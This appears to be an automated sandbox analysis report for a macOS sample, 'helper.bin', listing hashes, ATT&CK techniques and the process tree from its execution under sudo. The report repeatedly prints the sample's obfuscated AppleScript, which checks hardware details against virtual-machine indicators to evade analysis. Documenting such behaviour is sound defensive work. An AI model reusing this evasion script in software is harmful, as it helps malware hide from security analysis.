7e69f9c1dd10709a9e259cdccf20c4c14216144871bb2e8132f9faa1d39a83d9

General

Target
helper.bin
Size 2.3MB
Sample260511-1wp6qsa131
SHA256 7e69f9c1dd10709a9e259cdccf20c4c14216144871bb2e8132f9faa1d39a83d9
MD5 a6fb1d3a859378eb16206e5cfbcd5f5b
SHA1 ce17b01dc6975a88e19fd8c92f83f0c21b5ddcdc
SHA512 fff06b6cf6c21df287397183cd17d53bd700917782ce21b5defd931e538230d71a5cd1becd2cc1c6977cfc8d2a1db1b77971acdf194893f088e4dcfe5c24ac1e
SSDEEP 49152:XlXSK0cenylKa/hwhZavkRJcKwGuqCilfSK0cenylKa/hwBZaX0RZcKwGuqC:SGKaWZa8RJcmuqGGKaWZakRZcmuq
TLSH
T14CB533460D349FD1C36C81F61AB79B1514BAB80C2771F3356D05AEA9ED881F63AEA307
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

System Checks 1 TTPs 4 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

defense_evasion

System Checks

T1497.001

ioc	Process
system_profiler SPHardwareDataType	Process not Found
sh -c "system_profiler SPHardwareDataType"	Process not Found
system_profiler SPHardwareDataType	Process not Found
sh -c "system_profiler SPHardwareDataType"	Process not Found

AppleScript 1 TTPs 2 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "	Process not Found
osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "	Process not Found

ioc

Process

osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "

Process not Found

osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "

Process not Found

Resource Forking 1 TTPs 2 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

defense_evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer	Process not Found
"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/helper.bin\""
1⤵
PID:455

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/helper.bin\""
1⤵
PID:455

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/helper.bin
1⤵
PID:455
- /bin/zsh
  /bin/zsh -c /Users/run/helper.bin
  2⤵
  PID:458
- /Users/run/helper.bin
  /Users/run/helper.bin
  2⤵
  PID:458
- - /bin/sh
    /bin/sh -s
    3⤵
    PID:459
- - /bin/bash
    /bin/sh -s
    3⤵
    PID:459
  - - /usr/bin/osascript
      osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "
      4⤵
      PID:460
- - /bin/bash
    /bin/bash -s
    3⤵
    PID:470

/usr/libexec/pkreporter
/usr/libexec/pkreporter
1⤵
PID:447

/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
1⤵
PID:450

/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
1⤵
PID:444

/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged
"/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"
1⤵
PID:442

/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater
"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck
1⤵
PID:451

/bin/sh
sh -c "system_profiler SPMemoryDataType"
1⤵
PID:462

/bin/bash
sh -c "system_profiler SPMemoryDataType"
1⤵
PID:462

/usr/sbin/system_profiler
system_profiler SPMemoryDataType
1⤵
PID:462

/bin/sh
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:465

/bin/bash
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:465

/usr/sbin/system_profiler
system_profiler SPHardwareDataType
1⤵
PID:465

/bin/sh
sh -c "exit 100"
1⤵
PID:467

/bin/bash
sh -c "exit 100"
1⤵
PID:467

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.2100
1⤵
PID:490

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:490
- /usr/bin/login
  login -pf run
  2⤵
  PID:491
- - /bin/zsh
    -zsh
    3⤵
    PID:492
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:493
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:494
  - - /bin/ls
      ls
      4⤵
      PID:505
  - - /bin/chmod
      chmod 755 helper.bin
      4⤵
      PID:507
  - - ./helper.bin
      ./helper.bin
      4⤵
      PID:508
    - - /bin/sh
        
        /bin/sh -s
        5⤵
        
        PID:509
    - - /bin/bash
        
        /bin/sh -s
        5⤵
        
        PID:509
      - /usr/bin/osascript
        
        osascript -e " on btrgrm(qoaazyqn, duktervg) set ykdelozn to \"\" set iexmuolxf to 0 repeat with pkgitss from 1 to count of qoaazyqn set iexmuolxf to (iexmuolxf + (item pkgitss of qoaazyqn)) mod 9999 set ykdelozn to ykdelozn & (character id ((item pkgitss of qoaazyqn) - (item pkgitss of duktervg))) end repeat return ykdelozn end btrgrm set mitavl to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({207, 291, 185, 175, 264, 237, 231, 238, 315, 323, 321, 168, 157, 339, 203, 220}, {124, 211, 108, 74, 155, 126, 117, 117, 247, 226, 205, 71, 73, 218, 91, 119}) set pzqyvy to btrgrm({219, 306, 336, 323, 152, 212, 294, 279, 213, 192, 255, 352, 352, 312, 178}, {104, 185, 221, 207, 51, 103, 199, 167, 99, 81, 153, 247, 244, 211, 64}) & \" \" & btrgrm({320, 301, 243, 286, 191, 314, 325, 301, 180, 182, 192, 264, 289, 334, 236, 323, 241, 151}, {237, 221, 171, 189, 77, 214, 206, 204, 66, 81, 124, 167, 173, 237, 152, 202, 129, 50}) set qkatnhhl to do shell script mitavl set ykbzjvdg to do shell script pzqyvy if ykbzjvdg contains btrgrm({170, 292, 133, 222, 330, 235, 255, 145, 322, 123}, {80, 222, 81, 154, 246, 161, 173, 77, 245, 53}) then do shell script \"exit 0\" return end if if ykbzjvdg contains btrgrm({147, 177, 296, 163, 207, 291, 130, 132, 283, 201, 163, 146, 247, 97, 254, 227, 276, 184, 273, 274, 273, 292, 246, 289, 129, 174, 140, 289, 233, 240, 220, 162, 221, 108, 175, 243}, {98, 123, 244, 114, 150, 241, 74, 79, 238, 151, 108, 97, 198, 52, 201, 173, 206, 129, 228, 209, 216, 223, 178, 244, 59, 122, 91, 220, 178, 187, 170, 93, 172, 60, 127, 186}) then do shell script \"exit 0\" return end if set gkhaerkreg to {btrgrm({191, 258, 133, 206}, {110, 189, 56, 121}), btrgrm({295, 276, 304, 230, 355, 223}, {209, 199, 185, 133, 241, 122}), btrgrm({173, 205, 315}, {98, 119, 238})} set wbxgwqmip to {btrgrm({288, 139, 290, 304, 286, 146, 169, 310, 180, 237}, {198, 88, 241, 234, 214, 58, 80, 229, 132, 163}), btrgrm({230, 259, 215, 160, 195, 288, 288, 298, 159, 163, 238, 199}, {163, 211, 160, 76, 142, 240, 232, 214, 88, 114, 164, 149}), btrgrm({156, 218, 107, 330, 169, 100, 218, 306, 191, 326, 236, 217}, {89, 170, 57, 246, 92, 50, 128, 240, 119, 238, 180, 162}), btrgrm({223, 227, 322, 224, 233, 227, 220, 290, 159, 274, 351, 247, 264}, {156, 123, 217, 112, 175, 195, 135, 180, 52, 164, 240, 128, 154}), btrgrm({295, 357, 166, 312, 316, 267, 272, 284, 209, 205, 271, 139}, {222, 247, 50, 211, 208, 235, 205, 173, 95, 104, 239, 89}), btrgrm({240, 256, 321, 344, 341, 166, 338, 246, 308, 334, 204, 353, 203, 347, 229}, {154, 151, 207, 228, 224, 69, 230, 214, 231, 237, 105, 249, 98, 237, 128}), btrgrm({246, 181, 275, 249, 226, 275, 297, 253, 184, 312}, {160, 76, 161, 133, 109, 178, 189, 176, 87, 213}), btrgrm({111, 222, 190, 184, 324, 319, 302, 238, 244}, {71, 136, 85, 70, 208, 202, 205, 130, 203})} set piabiesf to false repeat with zjvtiounli in gkhaerkreg if qkatnhhl contains zjvtiounli then set piabiesf to true exit repeat end if end repeat if not piabiesf then repeat with zjvtiounli in wbxgwqmip if ykbzjvdg contains zjvtiounli then set piabiesf to true exit repeat end if end repeat end if if piabiesf then do shell script \"exit 100\" else do shell script \"exit 0\" end if "
        6⤵
        
        PID:510
    - - /bin/bash
        
        /bin/bash -s
        5⤵
        
        PID:516
  - - /usr/bin/sudo
      sudo helper.bin
      4⤵
      PID:517

/usr/libexec/xpcproxy
xpcproxy com.apple.nsurlstoraged
1⤵
PID:501

/usr/libexec/nsurlstoraged
/usr/libexec/nsurlstoraged --privileged
1⤵
PID:501

/usr/libexec/xpcproxy
xpcproxy com.apple.StreamingUnzipService 198
1⤵
PID:502

/System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
/System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
1⤵
PID:502